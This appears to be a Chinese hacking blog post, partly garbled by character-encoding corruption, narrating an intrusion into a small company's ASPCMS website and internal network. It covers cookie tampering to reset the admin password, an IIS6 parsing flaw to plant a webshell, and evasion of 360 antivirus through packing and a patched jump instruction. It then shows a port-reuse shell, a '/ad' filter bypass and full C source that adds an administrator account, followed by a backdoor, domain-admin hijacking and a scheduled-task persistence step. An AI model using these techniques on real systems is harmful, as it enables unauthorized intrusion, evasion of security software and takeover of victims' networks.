獲取webshell到內(nèi)網(wǎng)滲透一條龍
首先我的目標站是一個小型的工作室公司。比較小,網(wǎng)站是asp cms的asp有一個漏洞。我們首先去注冊一個用戶,然后我們利用谷歌cookie修改插件 我們把值修改為admin,將ID的值修改為1.這樣我們就可以來修改admin的密碼了。
Aspcms拿shell就不寫了 模板修改 利用iis6解析漏洞。
我們來執(zhí)行一下net user 看一下用戶。不成功缺少組建。明顯做了手腳。
再一看發(fā)現(xiàn)了360殺毒軟件。我不解為什么這么服務(wù)器安裝360呢?
這樣呢我們需要反彈一個shell,但是這個shell功能太渣渣。木有這個功能。還有一個問題就是,這個服務(wù)器只對外開放了80端口,其他的端口沒有開放。且換了個webshell去反彈shell時無法得到回話。這樣的話我們就無法得到反彈的shell。但是我們是不是就不能反彈了呢?不然。我們可以來進行端口復(fù)用,也就是說我們反彈的shell也通過80端口、所以我們要用個小程序。但是貌似不免殺。我們來免殺一下。免殺360我基本就是加個殼改一下就ok了。好幾年不做免殺,這方面都忘記了。
隨便找了個殼加了一下,我們把JBE 改為JA 。
Good,上傳到服務(wù)器運行一下
接下來就是端口服用了。我們本地監(jiān)聽80.然后發(fā)一個數(shù)據(jù)包到服務(wù)器。獲得shell
突破360防黑墻我們來添加一個用戶。/add 與/ad的性質(zhì)是一樣的。所以我們直接/ad添加 不攔截。當然 你也可以編譯一下C代碼
//Code by Pnig0s1992
//Date:2012,3,17
#include <stdio.h>
#include <Windows.h>
#include <lm.h>
#pragma comment(lib,”Netapi32.lib”)
int AddUser(LPWSTR lpUsername,LPWSTR lpPassword,LPWSTR lpServerName);
int SetGroup(LPWSTR lpUsername,LPWSTR lpServerName,LPWSTR lpGroupName);
BOOL ImprovePriv(LPWSTR name);
int main(INT argc,char * argv[])
{
BOOL bResult = ImprovePriv(SE_MACHINE_ACCOUNT_NAME);
if(argc < 3)
{
printf(“\nCode by Pnig0s1992″);
printf(“\nUsage:”);
printf(“\n\t%s UserName Password”,argv[0]);
printf(“\n\tRemark:Default add to Group:Administrators.”);
return -1;
}
if(bResult)
{
printf(“Successfully promote priv!”);
}else
{
printf(“Failed promote priv.”);
return -1;
}
int Namesize=MultiByteToWideChar(CP_ACP,0,argv[1],-1,NULL,0);
wchar_t *wUserName =new wchar_t[Namesize+1];
if(!MultiByteToWideChar(CP_ACP,0,argv[1],-1,wUserName,Namesize))
{
return false;
}
int Passsize=MultiByteToWideChar(CP_ACP,0,argv[2],-1,NULL,0);
wchar_t *wPassword =new wchar_t[Passsize+1];
if(!MultiByteToWideChar(CP_ACP,0,argv[2],-1,wPassword,Passsize))
{
return false;
}
LPTSTR lpName = wUserName;
LPTSTR lpPassword = wPassword;
LPWSTR lpSevName = NULL;
LPWSTR lpGroupName = L”Administrators”;
AddUser(lpName,lpPassword,lpSevName);
SetGroup(lpName,lpSevName,lpGroupName);
return 0;
}
BOOL ImprovePriv(LPWSTR name)
{
HANDLE hToken;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
{
printf(“\nGet process token failed.(%d)”,GetLastError());
return FALSE;
}
TOKEN_PRIVILEGES tkp;
tkp.PrivilegeCount = 1;
if(!LookupPrivilegeValue(NULL,name,&tkp.Privileges[0].Luid))
{
printf(“\nLookup process priv failed.(%d)”,GetLastError());
return FALSE;
}
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,0,NULL,NULL))
{
printf(“\nAjust process priv failed.(%d)”,GetLastError());
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
int AddUser(LPWSTR lpUsername,LPWSTR lpPassword,LPWSTR lpServerName)
{
USER_INFO_1 ui;
DWORD dwLevel = 1;
DWORD dwError = 0;
NET_API_STATUS nStatus;
ui.usri1_name = lpUsername;
ui.usri1_password = lpPassword;
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
nStatus = NetUserAdd(lpServerName,dwLevel,(LPBYTE)&ui,&dwError);
if(nStatus == NERR_Success)
{
printf(“\nAdd user:%S successfully!”,lpUsername);
}else
{
printf(“\nAdd user failed:%d.”,nStatus);
}
return 0;
}
int SetGroup(LPWSTR lpUsername,LPWSTR lpServerName,LPWSTR lpGroupName)
{
NET_API_STATUS nStatus;
LOCALGROUP_MEMBERS_INFO_3 lgui;
lgui.lgrmi3_domainandname = lpUsername;
nStatus = NetLocalGroupAddMembers(lpServerName,lpGroupName,3,(LPBYTE)&lgui,1);
if(nStatus == NERR_Success)
{
printf(“\nSuccessfully set USER:%S to GROUP:%S!”,lpUsername,lpGroupName);
}else if(nStatus == NERR_GroupNotFound)
{
printf(“\nCan’t find such a group:%S.”,lpGroupName);
}else
{
printf(“\nSet GROUP:%S failed.”,lpGroupName);
}
return 0;
}
恩。。好我們繼續(xù)
有了一個用戶 我們?nèi)バ崽?。但是很可惜。啥子都沒有。
既然沒辦法 拿咱就在內(nèi)網(wǎng)滲透上想想辦法
我們先生成一個windows可執(zhí)行后門
然后我們調(diào)用模塊來監(jiān)聽,獲得一個會話
下面我們進行內(nèi)網(wǎng)滲透,調(diào)用一個模塊
然后我們查看一下域,找到域管理
我們來劫持域管理
獲得shell然后我們再來查看一下域
我們獲得域管理的時間
然后我們計劃任務(wù) 2分鐘之后執(zhí)行我們的后門程序
Ok 獲得會話。然后域控你有了,你懂的